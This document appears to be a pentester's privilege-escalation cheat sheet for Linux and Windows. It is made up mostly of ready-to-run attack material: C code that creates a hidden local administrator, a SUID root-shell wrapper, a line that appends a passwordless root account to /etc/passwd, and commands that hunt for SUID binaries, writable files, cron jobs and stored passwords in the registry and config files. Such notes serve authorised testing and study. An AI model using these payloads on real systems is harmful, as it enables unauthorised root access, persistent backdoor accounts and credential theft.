Priv Escalation

Privilege Escalation

GTFOBins

https://guif.re/linuxeopguif.re

https://guif.re/windowseopguif.re

FuzzySecurity | Windows Privilege Escalation Fundamentals

https://payatu.com/guide-linux-privilege-escalation

Linux Privilege Escalation

• sudo -l

• Kernel Exploits

• OS Exploits

• Password reuse (mysql, .bash_history, 000-default.conf...)

• Known binaries with suid flag and interactive (nmap)

• Custom binaries with suid flag either using other binaries or with command execution

• Writable files owned by root that get executed (cronjobs)

• MySQL as root

• Vulnerable services (chkrootkit, logrotate)

• Writable /etc/passwd

• Readable .bash_history

• SSH private key

• Listening ports on localhost

• /etc/fstab

• /etc/exports

• /var/mail

• Process as other user (root) executing something you have permissions to modify

• SSH public key + Predictable PRNG

• apt update hooking (Pre-Invoke)

• Capabilities

Windows Privilege Escalation

• Kernel Exploits

• OS Exploits

• Pass The Hash

• Password reuse

• DLL hijacking (Path)

• Vulnerable services

• Writable services binaries path

• Unquoted services

• Listening ports on localhost

• Registry keys

Kernel Exploits

Linux: https://github.com/lucyoa/kernel-exploits

Windows: https://github.com/abatchy17/WindowsExploits

https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
http://www.fuzzysecurity.com/tutorials/16.html

Windows Add User

#include <stdlib.h> /* system, NULL, EXIT_FAILURE */

int main ()
{
  int i;
  i=system ("net user <username> <password> /add && net localgroup administrators <username> /add");
  return 0;
}

SUID Change

SUID

Set owner user ID.

int main(void){
  setresuid(0, 0, 0);
  system("/bin/bash");
}

Privilege Escalation:
#Find Binaries that will execute as the owner
find / -perm -u=s -type f 2>/dev/null

#Find binaries that will execute as the group
find / -perm -g=s -type f 2>/dev/null

#Find sticky-bit binaries
find / -perm -1000 -type d 2>/dev/null

find / -perm -4000 2>/dev/null

writable by everyone
find / -writable -type f 2>/dev/null

World writeable directories
find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root

World writeable files
find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null

Writeable config files
find /etc/ -writable -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ld {} \; 2> /dev/null

Window Exploit Suggester

python2 windows-exploit-suggester.py --database 2017-10-10-mssb.xls --systeminfo ../systeminfo.txt --quiet
python windows-exploit-suggester.py –systeminfo systeminfo.txt –database 2018-11-25-mssb.xls

Windows Priv Escalation

AlwaysInstallElevated
Check if the following registry settings are set to "1"
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

Basic Linux Enumeration

Distribution type & kernel version
cat /etc/*release*
uname -a
rpm -q kernel
dmesg | grep -i linux

Default writeable directory / folder
/tmp
/dev/shm

Search for passwords
Search for password within config.php
grep -R 'password' config.php

Find possible other writeable directory / folder
find / -type d \( -perm -g+w -or -perm -o+w \) -exec ls -adl {} \;

Service(s) running as root user
ps aux | grep root
ps -ef | grep root

Installed applications
ls -lah /usr/bin/
ls -lah /sbin/
dpkg -l
rpm -qa
ls -lah /var/cache/apt/archivesO
ls -lah /var/cache/yum/

Scheduled jobs
crontab -l
ls -la /etc/cron*
ls -lah /var/spool/cron
ls -la /etc/ | grep cron
cat /etc/crontab
cat /etc/anacrontab

Find pattern in file:
grep -rnw '/etc/passwd' -e 'root'

Sticky bit, SGID, SUID, GUID
Sticky bit
find / -perm -1000 -type d 2>/dev/null

SGID (chmod 2000)
find / -perm -g=s -type f 2>/dev/null

SUID (chmod 4000)
find / -perm -u=s -type f 2>/dev/null
find /* -user root -perm -4000 -print 2>/dev/null

SUID or GUID
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null

Add user to /etc/passwd and root group
echo hodor::0:0:root:/root:/bin/bash >> /etc/passwd